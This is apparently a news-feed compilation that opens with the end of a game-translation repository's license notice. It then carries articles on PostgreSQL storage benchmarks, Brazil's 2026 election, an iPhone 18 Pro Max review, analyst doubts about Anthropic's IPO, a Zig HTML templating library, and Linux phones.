This repository contains only original code and third-party code under its own license. It contains no game code or data. The generated C++ and the built WebAssembly are translations of the game's executable, so they belong to the game's owners: keep them on your own machine and do not publish them. Use disc images of games you own. Gran Turismo, God of War and PlayStation are trademarks of Sony Interactive Entertainment; this project is not affiliated with or endorsed by Sony, Polyphony Digital, Santa Monica Studio or any game publisher.

Credits

The VLC tables of the MPEG decoder are adapted from Play! (BSD 2-clause, notice in runtime/src/ipu/NOTICE ). PCSX2, Play! and the ps2sdk headers were the references for much of the hardware and system behavior emulated here. wgpu-native and Dawn provide WebGPU natively and in the browser, and Emscripten builds the WebAssembly.

License

The code in this repository is available under the MIT License, see LICENSE . runtime/src/ipu/tables.hpp keeps the BSD 2-clause notice of Play!.

Postgres isn't slow, your storage is

Hacker News
clickhouse.com
2026-10-12 02:36:53
Comments...
Original Article

At POSETTE 2026 , Sai Srirampur presented "Postgres Isn’t Slow. Your Storage Is." a talk examining how storage affects PostgreSQL performance at scale. This post recaps the benchmark, what the results revealed, and the architecture proposed for running PostgreSQL on local NVMe in production. You can watch the full talk in the video linked below.

The talk starts with several symptoms teams running Postgres at scale may recognize: ingestion slows down, P95 read latency becomes unpredictable, autovacuum falls behind, checkpoints compete with your actual workload for resources, or logical replication accumulates lag. These problems do not always share the same cause, but they can have a common one that is easy to overlook: storage performance.

To understand why, Sai ran a benchmark comparing the same 3.3-billion-row PostgreSQL workload on baseline gp3 EBS and local NVMe. We will walk through the setup and what Sai discovered when analyzing the results, then close with the production patterns proposed for running Postgres on local NVMe.

There are five common issues that often appear once a PostgreSQL workload reaches hundreds of gigabytes or terabytes and is running with real concurrency and throughput.

  1. Slow ingestion. The first one is ingestion pipelines heavy on UPDATEs and UPSERTs. Jobs that once finished in seconds can stretch into minutes as the volume of data underneath them grows.

  2. Inconsistent read latency. Next one appears in workloads where most queries remain fast but a few become dramatically slower. P95 latency moves from milliseconds to seconds, dashboards time out, and the uneven slowdown makes the cause harder to isolate.

  3. VACUUM falling behind. A third issue is autovacuum falling behind as UPDATE and UPSERT throughput grows, with table bloat accumulating from gigabytes into terabytes.

  4. Slower checkpoints. Checkpoints can also take longer and compete with the client workload for I/O and CPU, turning an operation that used to be invisible into a recurring latency spike.

  5. Logical replication lag. The last symptom appears when PostgreSQL data is streaming to systems such as Kafka or ClickHouse. WAL decoding can be slow and a growing replication slot can compound the problem.

As the working set outgrows the memory available to PostgreSQL and the operating-system page cache, more data read require physical I/O. On slower storage, the higher cost and queuing of those reads can increase both average and tail latency.

Client queries and background maintenance also use the same storage budget. Heap and index writes, WAL synchronization, checkpoints, VACUUM, and logical-decoding spills compete for bandwidth, IOPS, and queue capacity.

Once storage reaches one of those limits, operations begin delaying one another. That is how slow storage can be the root cause of several apparently unrelated PostgreSQL problems.

The case for local NVMe is not that it eliminates I/O, but that it can sharply reduce its cost. The comparison contrasts millisecond-scale operations on network-attached storage with operations that may complete in tens of microseconds on local NVMe. Cache misses, WAL flushes, and maintenance I/O still happen, but they simply don’t impact the overall system as much.

To better understand why this is the case, Sai set up a simple experiment to compare a similar workload on PostgreSQL running on EBS and local NVMe.

To isolate storage as the variable, the benchmark used eight identical PostgreSQL clusters: four using instance-store NVMe and four using baseline gp3 EBS provisioned at 3,000 IOPS. Each cluster ran on an m6id.4xlarge instance with 16 vCPUs, 64 GiB of RAM, and 16 GiB of shared_buffers. We used multiple instances for each storage type to normalize variability across benchmark runs.

The setup used a 482 GiB pgbench_accounts heap containing 3.3 billion rows. Each cluster then ran the same highly concurrent random-UPDATE workload for five minutes, with 64 clients and 16 worker threads:

\set aid random(1, 3300000000)
UPDATE pgbench_accounts SET abalance = abalance + 1 WHERE aid = :aid;

In short, the only difference between the two groups was the storage class.

The benchmark produced a median 16,030 TPS for the NVMe clusters, compared with 1,734 TPS on EBS—a 9.24× difference in this test. Median transaction latency fell from 36.9 ms to 4.0 ms.

For different operations, NVMe completed a VACUUM over 10 GB of bloat in 366 seconds, compared with 964 seconds on EBS, and drained a 10 GB logical-replication backlog in 139 seconds instead of 238 seconds.

One qualification matters: these results apply to this workload and these storage configurations. The EBS side used baseline gp3 provisioned at 3,000 IOPS, different EBS setup would most likely produce different results.

The throughput gap becomes easier to understand by looking at where the 37 ms of EBS transaction latency went.

postgres-ebs-vs-nvme-latency-clickhouse-style.png

In this benchmark, page reads accounted for about 19 ms on EBS, compared with 0.3 ms on NVMe. WAL fsync at commit added another 11 ms on EBS versus 1.5 ms on NVMe, while lock and scheduler overhead contributed about 5 ms versus 0.2 ms. CPU work itself was roughly the same—about 2 ms in both cases.

In other words, most of the additional EBS latency came from waiting on storage, not from PostgreSQL doing more CPU work.

A mid-run pg_stat_activity snapshot showed the same pattern from another angle. Of the 64 backends, 29 on EBS were waiting on IO:DataFileRead , compared with nine on NVMe—roughly 45% versus 14%. This was a point-in-time snapshot rather than an average across the run, but it illustrates how many more EBS sessions were stalled on reads at that moment.

postgres-nvme-vs-ebs-cpu-profile-top20-blog.png

The CPU profile then adds a counterintuitive observation. Over a profiling window of roughly 240 seconds, the NVMe host accumulated 2,253 CPU-seconds—about 9.4 cores busy—while the EBS host accumulated only 251 CPU-seconds, or about one core busy. Some PostgreSQL functions appeared proportionally hotter on EBS, but the absolute CPU time showed that EBS processes were spending far more time off-CPU waiting for storage.

The NVMe host kept more of its CPU capacity busy doing useful work. That helps explain the much higher throughput: cache misses, WAL flushes, and maintenance I/O still occurred, but they completed faster and left PostgreSQL spending less time blocked on storage.

After the performance results, the talk turns to the obvious objection: instance-store NVMe is tied to the lifetime of a machine, so the local data disappears with the node. The operational question is whether PostgreSQL can combine NVMe latency with production-grade availability and recovery.

The short answer is yes, given durability is provided at the cluster level rather than by any individual Postgres node.

Running PostgreSQL on local NVMe in production means designing around storage that is fast but tied to the lifetime of a machine. Losing a node means losing its local copy of the data; instance-store volumes cannot be snapshotted through the EBS API; and available capacity depends on the selected instance type.

The production architecture presented in the talk addresses this through three main requirements: replicate the database so the service can survive node loss, maintain backups and recovery data outside the individual machines, and plan capacity around the NVMe available on each instance type. Together, these patterns make it possible to run NVMe-backed PostgreSQL confidently in production.

The first pattern is quorum-based synchronous replication with two standby candidates. With a configuration such as ANY 1 (standby1, standby2) , a transaction can commit after either standby durably acknowledges its WAL rather than waiting for the slower of the two. Placing the nodes across availability zones protects against an AZ failure.

For durability outside the database nodes, open-source tools such as WAL-G can provide physical base backups and continuous WAL archiving. With low-latency WAL shipping, this architecture can target an RPO measured in seconds and support point-in-time recovery within the retention window.

Backups and WAL should also be kept in a separate failure domain, with another regional copy when the recovery plan needs to survive a full regional outage.

Base backups and archived WAL are more than an emergency mechanism: the same recovery history can support point-in-time restores, isolated branches, deployment resizing, read-replica seeding, and disaster recovery.

Backups and replication solve different problems. In the architecture described in the talk, standbys provide rapid failover, while backups protect against corruption, operator error, and cluster-wide failure; both recovery paths need regular testing.

This pattern is not only theoretical, the talk cites public examples from Instacart, which has described PostgreSQL on NVMe for a latency-sensitive search workload, and Datadog, which has discussed local-NVMe PostgreSQL instances for workloads that need them. The recurring pattern is local storage for performance, synchronous replication for availability, and independently stored base backups and WAL archives for recovery.

The talk closes with a diagnostic suggestion: when PostgreSQL appears to stop scaling, inspect the database and storage together. Slow ingestion, unpredictable read latency, vacuum pressure, disruptive checkpoints, and replication lag can be signals that the storage layer has reached a limit.

The bottom line is deliberately narrower than the title: local NVMe can sharply reduce the I/O penalty for storage-bound workloads, but it comes with a different operating model. The architecture outlined in the talk uses quorum-based replication for availability and independently stored base backups plus archived WAL for recovery.

Brazil’s Angry Tide and the Struggles Ahead

Portside
portside.org
2026-10-12 02:20:31
Brazil’s Angry Tide and the Struggles Ahead Ira Mon, 10/12/2026 - 02:20 ...
Original Article

First round results by state | Wikipedia

Brazil’s general election on 4 October delivered a severe warning to the Left. Flávio Bolsonaro, the presidential candidate of the Liberal Party (PL), finished ahead of President Luiz Inácio Lula da Silva, with approximately 47 per cent against 45 per cent. Neither secured a majority, sending them into a runoff on 25 October. More troubling than this narrow presidential gap was the advance of bolsonarismo through Congress. The election has strengthened a political movement whose ambitions extend beyond defeating Lula to reshaping the institutions that obstruct its exercise of power.

The imprisonment (house arrest) and electoral exclusion of Jair Bolsonaro have not dissolved his movement. His son Flávio carries its presidential banner, while other members of the family have won seats in Congress. Michelle Bolsonaro, Jair’s wife, and Carlos Bolsonaro, his son, enter the Senate; Jair Renan, another son, and Renato, Jair’s brother, enter the Chamber of Deputies. Nepobolsonarismo is an appropriate name for this family’s expansion through the state. Yet the family is only the most visible expression of a broader project, rooted in powerful economic interests and a deeply organised reactionary politics.

A Presidential Contest with Continental Stakes

Lula remains the principal obstacle to the return of this project to the presidency. His defeat would affect workers and peasants throughout Brazil, but also the possibilities for regional cooperation and an independent Latin American foreign policy. Brazil’s size, industrial capacity, raw minerals (such as critical minerals), agricultural resources, and diplomatic reach give its political direction continental significance. A government that subordinates these assets to Washington’s priorities would weaken the space available to neighbouring countries seeking their own paths of development.

The first-round geography demonstrates both Lula’s strength and his difficulties. He retained a commanding position in the Northeast, while Flávio led across the other four regions. São Paulo’s enormous electorate provided a particularly important advantage to the Right. These divisions cannot be explained by an opposition between an enlightened population and an ignorant one. They require an examination of the different conditions of work, the organisation of political life, and the capacity of competing movements to interpret people’s frustrations.

Lula approaches the runoff with a substantial social record. Unemployment fell to 5.3 per cent in the quarter ending in August, the lowest rate for that period in the statistical series beginning in 2012. Such improvements matter enormously to families for whom a regular wage brings relief from daily uncertainty. But an improved national indicator does not settle the political argument. Employment can coexist with exhausting journeys, expensive housing, inadequate public services, and the insecurity of debt. The distance between statistical improvement and lived experience remains terrain on which the Right operates.

Bolsonarismo , or Brazil’s far right of a special type, translates these frustrations into resentment against the Left, all public institutions, and vulnerable sections of society. Its promise of order offers an immediate language for fear, while concealing the economic arrangements that produce insecurity. The Left cannot answer this merely by advertising government achievements. It must connect those achievements to a credible programme for changing everyday life, and explain which interests prevent further advances. A worker struggling with debt needs more than reassurance that the economy is performing well. This has been the problem for Lula, whose programme for the future does not seem to promise more than what has been delivered till now.

The Senate: A Struggle Over Institutional Power

The Senate election is particularly consequential because 54 of its 81 seats were contested. Senators serve eight-year terms, so the results will shape national politics well beyond the next presidential administration. The PL won 19 seats and will hold 28 in the new Senate, making it the largest party. The PT will have nine. The bolsonaristas have therefore established a formidable position, although the PL itself remains short of a majority and must bargain with other parties.

Michelle Bolsonaro and Bia Kicis took both seats in the Federal District, while Carlos Bolsonaro and Carol de Toni won the two seats in Santa Catarina. These victories show the movement’s ability to organise coordinated campaigns and concentrate support behind its candidates. There were important successes for the Left: Rui Costa and Jaques Wagner won in Bahia, Humberto Costa retained representation in Pernambuco, and Marília Campos won in Minas Gerais. These results preserve points of resistance within an increasingly hostile chamber. The Senate’s significance extends beyond ordinary legislation. The bolsonaristas have made their confrontation with the Supreme Federal Court a central political objective, including demands to impeach its ministers. Their strengthened representation increases their capacity to pursue that confrontation and to influence the election of the Senate president. Predictions of an automatic majority for impeachment should be treated cautiously: party affiliation, campaign declarations, and votes in a specific proceeding are different things. Nevertheless, the danger of using legislative power to intimidate the judiciary has plainly grown.

This is part of a struggle over the conditions under which the far right can govern. The judicial proceedings against Jair Bolsonaro did not remove the social forces supporting him. Those forces now seek greater leverage over institutions capable of restraining them. For the Left, defending democratic space must therefore accompany the struggle to expand social rights. Workers’ organisations cannot afford to lose the freedoms through which they organise, educate, and confront capital.

Federal Deputies: the Right Advances, the Left Finds Openings

All 513 seats in the Chamber of Deputies were up for election this year. The PL secured 121, consolidating its position as the largest party in this chamber as well as in the Senate. The federation of the Workers’ Party, Communist Party of Brazil, and Green Party won 88 seats, with the PT itself taking 70. The federation’s growth is significant, but it leaves Lula’s allies far from a majority. Parties of the Right hold 303 seats, while the broader parliamentary Left holds 124.

The outcome strengthens the far right of a special type within a legislature already dominated by conservative interests. It also weakens some established brokers of parliamentary power, such as the centrão , the collection of parties that trades legislative support for influence over appointments and public resources, although it remains indispensable for majority building. What bargaining will take place within the centrão will now take place alongside a larger and more assertive PL. If Lula wins in the second round, he will confront substantial congressional resistance, but if Flávio wins, the same Congress could facilitate a reactionary programme.

Yet the election also brought important representatives of a fighting Left into the Chamber. Jones Manoel, the communist historian elected through PSOL in Pernambuco, received 249,077 votes and finished first in Recife. Elias Jabbour, the communist geographer, was elected for the PCdoB in Rio de Janeiro. Their victories suggest an audience for political education and socialist arguments, even amid the Right’s advance. They offer resources for rebuilding confidence among people who have grown impatient with the narrowing ambitions of parliamentary politics. Jones Manoel has already offered to assist Lula’s runoff campaign, including its digital communication, while proposing stronger attention to demands such as free public transport. This is a useful example of political clarity: criticism of the government’s limitations can coexist with active mobilisation against the far right of a special type. Such unity does not require workers to abandon their demands. It becomes stronger when those demands supply the campaign’s energy and direction.

The Task Before 25 October

The runoff cannot be won through negotiations among party leaders alone. It requires organised activity in workplaces, neighbourhoods, universities, and rural communities, with a programme people can recognise in their own lives. Transport, wages, housing, debt, public healthcare, and the time consumed by work must become the substance of a democratic campaign. Defence of sovereignty becomes tangible when it is connected to the ability to use Brazil’s wealth for the needs of its people.

The angry tide has advanced, but it has not carried away the millions who still seek another Brazil. The new communist deputies, the surviving mass organisations (especially the landless workers of the MST), and Lula’s enormous electoral base provide foundations for resistance. The immediate task is to defeat Flávio Bolsonaro. The longer task is to build a popular power strong enough to prevent the oligarchy from deciding, election after election, how little change the majority will be allowed.

This article was produced by Globetrotter .


Vijay Prashad is the Director of Tricontinental: Institute for Social Research. His most recent book (with Grieve Chelwa) is How the International Monetary Fund Suffocates Africa (from Inkani Books).

Please help keep us alive .

The CounterPunch website is offered at no charge to the general public over the world wide web. New articles, from an independent left-leaning perspective, are posted every weekday. A batch of several articles, including the Poet’s Basement, and Roaming Charges by Jeffrey St. Clair, are posted in the Weekend Edition. After the initial posting, these articles are available in the archives which can be searched by using any of the search boxes on the website. CounterPunch also produces CounterPunch Radio, available on a direct link from the website or across most podcast platforms. CounterPunch+, our subscribers’ edition,  is behind a paywall, and offers several extra pieces a month, both features and regular columns. CounterPunch+ subscribers also receive discounts on all purchases of books, digital books and merchandise. In addition, CounterPunch+ subscribers have access to the archive of magazine and newsletter editions of CounterPunch, which were published from 1993 to 2020.

iPhone 18 Pro Max review: Apple’s biggest, heaviest and longest-lasting superphone

Guardian
www.theguardian.com
2026-10-12 02:00:47
A giant screen, big battery, rapid chip and top cameras push the great iPhone 18 Pro to the max with a price tag to match Apple’s largest Pro iPhone gets its biggest battery upgrade yet to make it a true two-day phone with new Siri AI and a variable aperture camera. The iPhone 18 Pro Max is the supe...
Original Article

Apple’s largest Pro iPhone gets its biggest battery upgrade yet to make it a true two-day phone with new Siri AI and a variable aperture camera.

The iPhone 18 Pro Max is the supersized sibling of the regular 18 Pro and, though it is no longer Apple’s most expensive phone thanks to the £2,000 iPhone Duo , it has a similarly large price tag to match costing from £1,299 (€1,599/$1,299/A$2,299).

The 18 Pro Max follows the familiar formula of its Pro Max predecessors : take everything that’s great about the 18 Pro and supersize the screen and the battery. That means it has a first-class camera, the fastest performance and very long software support.

The iPhone 18 Pro Max in a case with a hand strap attached
A Popsocket on the back , or an official lanyard or wrist strap attached to a case, is almost a necessity for the 18 Pro Max. Photograph: Samuel Gibbs/The Guardian

But it also means the 18 Pro Max is hard to use with one hand and pretty big to fit in a pocket. It weighs 249g, which is really heavy for even a very large smartphone, 23g more than its nearest rival , 38g more than its smaller sibling and heavier still than folding phones . It made my hand hurt after 10 days of use and is a two-handed phone needing some sort of handle or strap.

The 6.9in screen is a joy to behold. Super bright, crisp, smooth and with a very effective anti-glare coating it’s great for films, TV or games, and offers a similar level of real estate for video to most folding phones. It also has the new, smaller camera cut out and bigger dynamic island of the regular 18 Pro.

Specifications

  • Screen: 6.9in Super Retina XDR (120Hz OLED) (460ppi)

  • Processor: Apple A20 Pro

  • RAM: 12GB

  • Storage: 256, 512GB or 1TB

  • Operating system: iOS 27

  • Camera: 48MP + 48MP UW + 48MP 4x, 18MP front-facing

  • Connectivity: 5G, wifi 7, NFC, Bluetooth 6, Thread, USB-C, Satellite, UWB and GNSS

  • Water resistance: IP68 (6 metres for 30 mins)

  • Dimensions: 163.4 x 78 x 8.75mm

  • Weight: 249g

Battery life for days

The USB-C socket of the iPhone 18 Pro Max
A full charge takes 70 minutes, hitting 80% in 32 minutes, but requires a 60W Power Delivery 3.1 USB-C adaptor with adjustable voltage supply (AVS) to reach its fastest speeds (not included). Photograph: Samuel Gibbs/The Guardian

The 18 Pro Max has the same new A20 Pro chip as the 18 Pro , which is one of the fastest chips you can get in a phone, plus a resigned cooling system that helps maintain peak performance during long gaming sessions.

It has the longest battery of any iPhone, lasting almost three days of light usage between charges, actively using the screen for seven hours for apps, browsing, messaging and photos. That is about four hours longer than its predecessor and almost a day longer than the 18 Pro. Even with heavy use, the 18 Pro Max still managed to end the day with about 50% left in the tank, meaning most people will have to charge it only every second or third day.

iOS 27

The back of the iPhone 18 Pro Max in black
The black iPhone 18 Pro Max is the darkest and most inky black model yet with a colour-matched glass back, but it’s a bit of a fingerprint magnet. Photograph: Samuel Gibbs/The Guardian

The 18 Pro Max runs the same iOS 27 as smartphones from the iPhone 11 onwards. The new software speeds up app launches and other parts of the system, refines the Liquid Glass redesign from last year and revamps Apple’s AI tools.

The new Siri AI chatbot is a significant step in the right direction, able to better understand you and perform tasks. It has its own app to review previous conversations and can see what is on your screen or through the camera. It can also suggest data from your various Apple apps, similar to Google’s proactive tools on the Pixels . But it relies on you using messages and mail, rather than third-party apps such as the WhatsApp or Gmail apps.

Sustainability

The battery will last in excess of 1,000 full-charge cycles with at least 80% of its original capacity, and it can be replaced for £119 . Out-of-warranty screen repairs cost £389 . The specialists iFixit awarded the phone seven out of 10 for repairability.

It contains more than 40% recycled material. The company breaks down the phone’s environmental impact in its report. Apple offers trade-in and free recycling schemes, including for non-Apple products.

Camera

The camera app on an iPhone 18 Pro Max.
The new variable aperture can be left in automatic or manually adjusted along with a handful of other manual controls. Photograph: Samuel Gibbs/The Guardian

The 18 Pro Max has the same camera system as its smaller sibling , which includes an 18 megapixel centre stage selfie camera in the screen and three 48MP cameras on the back.

The three rear cameras are some of the best on a phone, including a 4x/8x optical zoom and 0.5x ultra wide.

The big addition for the 18 Pro Max is a variable aperture on the main camera, allowing it to open wider than other iPhones for better low light performance or to narrow to preserve depth of field. But it also allows additional creative photography possibilities, including shooting starbursts.

The 18 Pro Max also has new AI-powered focus tracking, improved Photographic Styles for greater customisation, Apple’s new digital negative feature and automatic cinematic mode for video.

Price

The iPhone 18 Pro Max costs from £1,299 (€1,599/ $1,299 / A$2,299 ).

For comparison, the iPhone 17 costs £899 , the iPhone Air £1,099 and the iPhone 18 Pro £1,199 ; the Google Pixel 11 Pro costs £1,279 and the Samsung Galaxy S26 Ultra £1,359 .

Verdict

The iPhone 18 Pro Max is Apple’s biggest, longest-lasting and most expensive slab phone for 2026.

It takes what is great about the regular 18 Pro and supersizes the screen and battery, giving it a run time of up to three days, which is a good half day more than its smaller sibling. That places it shoulder to shoulder with some of the longest-lasting phones available on any platform.

But similar to superphones from Google and Samsung , the 18 Pro Max is too big to use one-handed and tricky to pocket. It is also too heavy and made my hand hurt without using a Popsocket or a similar handle attached to it.

Otherwise, it is a fairly iterative upgrade on the 17 Pro Max, with the same design and feel. The screen is still one of the very best on a phone, and the improved dynamic island is a useful upgrade. The A20 Pro chip is seriously quick, the cameras are some of the best you can get on a phone and the variable aperture on the main camera opens up some new creative opportunities, even if its impact on image quality is fairly minor.

Pros: fabulous 6.9in screen, better dynamic island, very long battery life, great cameras with variable aperture, USB-C, top performance, long software support, Face ID, better AI.

Cons: very expensive, very heavy, hard to use one-handed, small upgrade on last year, AI tools still lag top competitors.

The back of the iPhone 18 Pro Max in black stood up on a wooden table
The iPhone 18 Pro Max is a towering monolith of a smartphone, particularly in the inky black colour. Photograph: Samuel Gibbs/The Guardian

Research Firm Calls Anthropic's IPO 'Unprecedented Test of Investor Gullibity'

Hacker News
www.cnbc.com
2026-10-12 01:03:47
Comments...
Original Article

Anthropic CEO Dario Amodei speaks during the keynote address at Salesforce's Dreamforce conference at the Moscone Center on Sept. 15, 2026 in San Francisco, California.

Benjamin Fanjoy | Getty Images

As Anthropic barrels toward a potential $2 trillion market cap on the Nasdaq, one research firm is valuing the artificial intelligence company at a mere $150 billion and says Wall Street is about to face an "unprecedented test of investor gullibility."

In a report on Tuesday, independent financial research provider New Constructs called Anthropic's upcoming offering the "most ridiculous IPO of 2026."

To reach its desired valuation, the firm estimates Anthropic would need to record double the trailing year of profit for Nvidia , the world's most valuable tech company. Nvidia's net income over the past four quarters topped $190 billion. Meanwhile, Anthropic's revenue in 2025 was $4.6 billion as the company racked up a net loss of $42 billion, according to Reuters , which cited a leaked copy of the company's prospectus.

Anthropic's mounting operating losses coupled with emerging competition from a plethora of open-source models led New Constructs to conclude that, "We don't think Anthropic has a viable business."

"Since the arrival of open-source models, it's been clear that the closed models would struggle to generate profits," the firm wrote.

David Trainer, founder and CEO of New Constructs, has built a reputation on Wall Street as a notorious bear on IPOs. He's been right in the past.

New Constructs called WeWork "the most ridiculous IPO of 2019," ahead of the office-sharing company's planned offering. WeWork had been valued privately at $47 billion, but just six weeks after the New Constructs report, the company pulled its IPO amid weak demand and intense criticism surrounding its financials. WeWork filed for bankruptcy in 2023.

"While Anthropic offers more to society than WeWork ever did, at a $2 trillion valuation, its IPO presents far bigger risks and is positioned to be a far bigger rip off of U.S. capital markets," New Constructs wrote, adding that the IPO's purpose isn't to provide wealth for public markets investors, but rather liquidity for the company's Wall Street backers.

Anthropic didn't respond to a request for comment.

New Constructs was also bearish on Allbirds ' IPO in 2021. The shoe company debuted on the Nasdaq and reached a valuation of $4.1 billion on its opening day. Earlier this year, the company sold its assets to American Exchange Group for an estimated $39 million, pivoting to AI in the process.

Trainer's firm has also missed the mark on calls. Its "most ridiculous" 2020 IPO choice was DoorDash , which the firm also compared to WeWork, calling the food delivery company "similarly disadvantaged."

However, DoorDash has held up on the public market. The stock shot up on its first day in December 2020, giving the company a market cap of over $60 billion. That number has since swelled to $83 billion.

In an interview with CNBC in 2021, Trainer acknowledged that "crazy stuff happens" and New Constructs doesn't always get it right.

"I can't let that bother me," he said at the time. "I have to stay true to what I think is right."

Anthropic still hasn't made its prospectus public, so New Constructs hasn't seen the actual filing. However, the firm cited figures that have been reported, including from the New York Times, which reported in September that the company was on pace to generate $100 billion in annualized revenue by the end of 2026.

Anthropic claimed at the end of July that its annualized revenue run rate was up sevenfold year-over-year to $65 billion.

The New Constructs report also notes that Anthropic's assertion that AI could pose "a catastrophic or existential risk to humanity" is another reason why investors should avoid the IPO.

"While we were not fortunate enough to be one of the few to whom Anthropic's S-1 was selectively disclosed, the reports of the leaked financials reveal more than enough to assess the gargantuan risks of investing in this IPO," New Constructs wrote.

WATCH: TechCheck: Is Anthropic’s IPO imminent?

TechCheck: Is Anthropic's IPO imminent?

Type-safe HTML templating in Zig

Hacker News
lalinsky.com
2026-10-12 01:02:34
Comments...
Original Article

I’ve done a lot of web development over the years. I started around the year 2000, just after PHP 3.0 was released and started taking over the web world. I’ve used all kinds of approaches for generating HTML: raw PHP, string concatenation in Python, Smarty templates in PHP, Template Toolkit in Perl, and Jinja/Django templates in Python. Then, as the world moved on to SPAs and JavaScript frameworks, I stopped working on frontends.

Two years ago, I picked up Zig, and I’d never have imagined I’d be considering web development in such a low-level language. But as I was building my own ecosystem with zio and Dusty , I realized it’s not that far-fetched. I built these libraries for API backends, where the output is JSON or MessagePack, but then I saw that with proper use of arena allocators, even web development is actually manageable, since you don’t need to remember to deallocate all the strings that are typically involved. And with Zig’s comptime, you can build very high-level interfaces without losing the performance benefits. And with the help of htmx or Datastar , you can even build SPAs without touching JavaScript/TypeScript, which I promised myself I’d never do.

That said, one thing was still missing: templating. String concatenation was not an option, I didn’t want to go back to the pre-2000 CGI days. I had a few requirements for a templating library:

  1. It has to be type-safe, with all inputs typed and checked at compile time. I’ve dealt with dynamic languages enough in my life, and I don’t want to deal with runtime template errors anymore.
  2. It has to be fast. No allocations, no intermediate state, just write the output to std.Io.Writer directly.
  3. It needs to have safe defaults. I don’t want to deal with XSS anymore, so all inputs have to be escaped by default.
  4. It should still feel like writing HTML. I didn’t want a Zig-based DSL I’d have to fight constantly.

I couldn’t find any solution that would satisfy all these requirements. Then I saw Ziex and I was amazed. It never occurred to me that the JSX approach could be done outside of JavaScript. The developer experience Nurul Huda managed to build in Zig was just unimaginable to me. It didn’t fit my needs directly, because I didn’t want a WASM framework, but the syntax and his approach to integrating Zig code into templates gave me some ideas. Then, after further research, I discovered Templ for Go, and it was pretty obvious to me what I wanted to build.

So, let me present zt (I’m not good at naming, sorry) . It’s an adaptation of Templ to Zig. The templates are parsed and transpiled to Zig code during zig build . That means you can import them directly from your app code, but also, perhaps even more importantly, the templates can import your app code. As a result, all parameters can be fully typed. If something can’t be rendered, the Zig compiler will tell you so. The generated code is fairly simple, all it does is write to a std.Io.Writer . You can write directly to a socket or accumulate the output in a buffer, your choice. Here is what a template looks like:

const User = @import("../models.zig").User;

pub templ Layout(title: []const u8) {
    <!DOCTYPE html>
    <html>
        <head>
            <title>{title}</title>
        </head>
        <body>
            @children
        </body>
    </html>
}

pub templ HomePage(user: ?User) {
    @Layout("Home") {
        if (user) |u| {
            <h1>Welcome back, {u.name}!</h1>
            <a href="/users/{u.id}">Your profile</a>
        } else {
            <h1>Welcome, guest!</h1>
            <a href="/login">Log in</a>
        }
    }
}

And here is how you would use it from Zig code:

const std = @import("std");
const User = @import("models.zig").User;
const pages = @import("templates/pages.zig");

pub fn main(init: std.process.Init) !void {
    var buf: [4096]u8 = undefined;
    var stdout = std.Io.File.stdout().writer(init.io, &buf);
    const w = &stdout.interface;

    const user: User = .{ .id = 1, .name = "Lukas" };
    try pages.HomePage.render(.{user}, w);
    try w.flush();
}

If you want to use it inside Dusty to render an HTML page, you just do this:

try res.render(.html, pages.HomePage, .{user});

As a side note, the main snippet above has a very non-obvious bug in error handling if you use the same pattern somewhere std.Io cancellation matters. I’ll probably write a blog post about it, but if you are interested, check out this Ziggit thread . The render function in Dusty that wraps the std.Io.Writer handling solves it.

All dynamic values are HTML-escaped by default, both in text and in attributes, and values in URL attributes like href or src are also checked for dangerous schemes. If you really need to output raw HTML, you have to ask for it explicitly with {!value} , so it’s easy to spot in the template. The parser also requires all elements to be properly closed, so you can’t accidentally produce broken markup. It won’t protect you from everything, but it removes the most common sources of XSS.

What I like the most is that template errors are just Zig compiler errors. If you make a typo in the template above and write {u.nmae} instead of {u.name} , zig build will tell you:

src/templates/pages.zig:45:43: error: no field named 'nmae' in struct 'models.User'
            try zt.writeEscaped(writer, u.nmae); // pages.zt:18:31
                                          ^~~~
src/models.zig:1:18: note: struct declared here
pub const User = struct {
                 ^~~~~~

The error points to the generated code, but each line has a comment with the location in the original template. The same applies to the calling side, if you try to pass a string where HomePage expects a ?User , it won’t compile.

Beyond the basics shown here, you can build reusable components and pass them around as values, and with @children you can build layouts that wrap other templates, which covers what you’d use template inheritance for in other languages. Control flow is just Zig, so if , for and switch work as you’d expect, including payload captures. All of it still compiles down to a sequence of writes, without any allocations.

You can have a look at the TODO example in Dusty. It’s a simple htmx-based web app that showcases this library, plus other parts of Dusty that are needed for building a dynamic SPA.

One part of the syntax is still open. Block-level control flow is written as plain Zig, following the example of Templ, so a line starting with if , for or switch is parsed as code. That means text like “if you forgot your password…” on its own line is a parse error, and you have to wrap it in an element or write it as a string expression. I’m considering switching to @if , @for and @switch , similar to Razor or Twirl, which would remove the ambiguity, at the cost of slightly noisier templates. If you have an opinion on this, please leave a comment in this GitHub issue .

Although multiple people are already using it, the project is not very mature yet, so I welcome any feedback. You can open a GitHub issue if you find any problems, or ping me on the Zig Discord.

datasette-ports 0.4

Simon Willison
simonwillison.net
2026-10-12 00:57:07
Release: datasette-ports 0.4 My plugin for detecting and listing all Datasette instances on the current machine now works with the latest version, and displays the detected PID as well. Knowing the PID makes it easier to attach the new Python 3.15 profiler. Tags: datasette...
Original Article

This is a beat by Simon Willison, posted on 12th October 2026 .

Monthly briefing

Sponsor me for $10/month and get a curated email digest of the month's most important LLM developments.

Pay me to send you less!

Sponsor & subscribe

Yandex bot traffic down 99% after data center attack

Hacker News
radar.cloudflare.com
2026-10-12 00:54:12
Comments...

Will Linux phones become a viable alternative to the Android/iOS duopoly?

Hacker News
amosbbatto.wordpress.com
2026-10-12 00:54:00
Comments...
Original Article

by Amos Batto (2026-10-05), License: CC BY 4.0 , Download: PDF , ODT

Five years ago, Linux phones looked like they were poised to become a viable alternative to the Android/iOS duopoly that has an iron grip on the mobile phone industry. Sadly, after a brief flash of activity and community engagement with the release of the Purism Librem 5 and the PINE64 PinePhone in 2020, the Linux phone market has generally stagnated. This stagnation occurred partly because of the problems at Purism and PINE64, but also because the available Linux SoC’s weren’t up to the task of running a modern smartphone, and the hardware industry wasn’t providing any good alternatives with good free/open source drivers. In addition, Plasma Mobile and Phosh were still inchoate mobile interfaces at the time, and there wasn’t a good distro option to run these interfaces on Android kernels with a normal integrated mobile SoC. The poor performance of the PinePhone and Librem 5 and the problems with the PinePhone Pro and the Librem 5 refunds sapped people’s enthusiasm and willingness to take a chance on the next Linux phone.

